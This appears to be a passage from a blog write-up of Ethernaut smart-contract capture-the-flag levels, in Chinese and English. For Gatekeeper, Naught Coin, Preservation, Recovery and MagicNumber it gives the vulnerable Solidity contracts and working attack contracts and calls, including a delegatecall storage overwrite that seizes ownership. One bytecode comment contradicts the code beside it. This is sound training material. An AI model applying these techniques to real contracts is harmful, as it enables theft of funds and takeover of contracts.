bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
_gateKey
);

// gas offset usually comes in around 210, give a buffer of 60 on each side
for (uint256 i = 0; i < 120; i++) {
(bool result, ) = address(GatekeeperOneContractAddress).call{gas: i + 150 + 8191 * 3}(encodedParams);
if(result)
{
break;
}
}
}
}

Gatekeeper Two

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.

Things that might help:

  • Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
  • The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
  • The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Solution

  • gateThree(bytes8 _gateKey)

    bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(-1));

  • gateTwo()

    参考yellow paper 7.1

    7.1. Subtleties. Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code[5].
    [5] During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code (as defined in H.2).

    所以只要在构造函数中调用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

interface GatekeeperTwoInterface {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {

GatekeeperTwoInterface gatekeeper;

constructor(address GatekeeperTwoContractAddress) public {
gatekeeper = GatekeeperTwoInterface(GatekeeperTwoContractAddress);
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(-1));
gatekeeper.enter{gas:50000}(key);
}
}

Naught Coin

NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

Things that might help

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

Solution

需要清空自己的balance,但限制了时间,查看父合约ERC20.sol

image-20211212201420739

transferFrom方法也可转账,不过需要先调用approve函数给转账者额度,这里转账者也设为自己

1
2
contract.approve(player,toWei("1000000"))
contract.transferFrom(player,ethernaut.address,toWei("1000000"))

image-20211212210751357

Preservation

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

  • Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
  • Understanding what it means for delegatecall to be context-preserving.
  • Understanding how storage variables are stored and accessed.
  • Understanding how casting works between different data types.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

Solution

参考Delegation题目,使用delegatecall,状态变量的修改影响的是调用者。所以我们调用Preservation合约的setFirstTime或者setSecondTime方法时,实际修改的是Preservation合约的timeZone1Library变量

部署以下合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract PreservationAttack {

address slot0;
address slot1;
address ownerSlot;

function setTime(uint addressAsUint) public {
// Sets the owner
ownerSlot = address(addressAsUint);
}
}

调用Preservation合约setFirstTime或者setSecondTime方法将timeZone1Library设置为恶意合约的地址

1
contract.setSecondTime("0x382dc9A1Ce05643c327729F18486A0CD656025BE")

image-20211214232324430

再次调用setFirstTime就是执行的恶意合约中的代码了

1
contract.setFirstTime(player)

image-20211214232817322

Recovery

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

Solution

image-20211215213643538

从题目实例拿到的是Recovery合约的地址,需要找到其创建的SimpleToken合约地址,转出其中的0.5 Ether

从交易信息就可以找回地址

https://rinkeby.etherscan.io/address/0xf66c40756e06E352304b5FC9D316669175D518ED#internaltx

image-20211215213925467

image-20211215214403004

其实从RecoveryFactory.sol代码也可以看出来,创建的合约地址是可预测的

1
address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01))))));

参考以太坊合约地址是怎么计算出来的?

Ethernaut Lvl 18 Recovery Walkthrough: How to retrieve lost contract addresses (in 2 ways)

MagicNumber

Difficulty 6/10

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number.

Easy right? Well… there’s a catch.

The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.

Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.

Good luck!

Sources

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

Solution

题意是构造如下的一个合约

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract MagicNumBadSolver {

function whatIsTheMeaningOfLife() public pure returns (bytes32) {
return bytes4(int32(42));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract MagicNumSolver {
constructor() public {
assembly {

// This is the bytecode we want the program to have:
// 00 PUSH1 2a /* push dec 42 (hex 0x2a) onto the stack */
// 03 PUSH1 0 /* store 42 at memory position 0 */
// 05 MSTORE
// 06 PUSH1 20 /* return 32 bytes in memory */
// 08 PUSH1 0
// 10 RETURN
// Bytecode: 0x604260005260206000f3 (length 0x0a or 10)
// Bytecode within a 32 byte word:
// 0x00000000000000000000000000000000000000000000604260005260206000f3 (length 0x20 or 32)
// ^ (offset 0x16 or 22)

mstore(0, 0x602a60005260206000f3)
return(0x16, 0x0a)
}
}
}

参考

Ethernaut – Smart Contract

ethernaut 以太坊靶场学习 (1-12)

以太坊智能合约安全入门了解一下(上)

以太坊智能合约安全入门了解一下(下)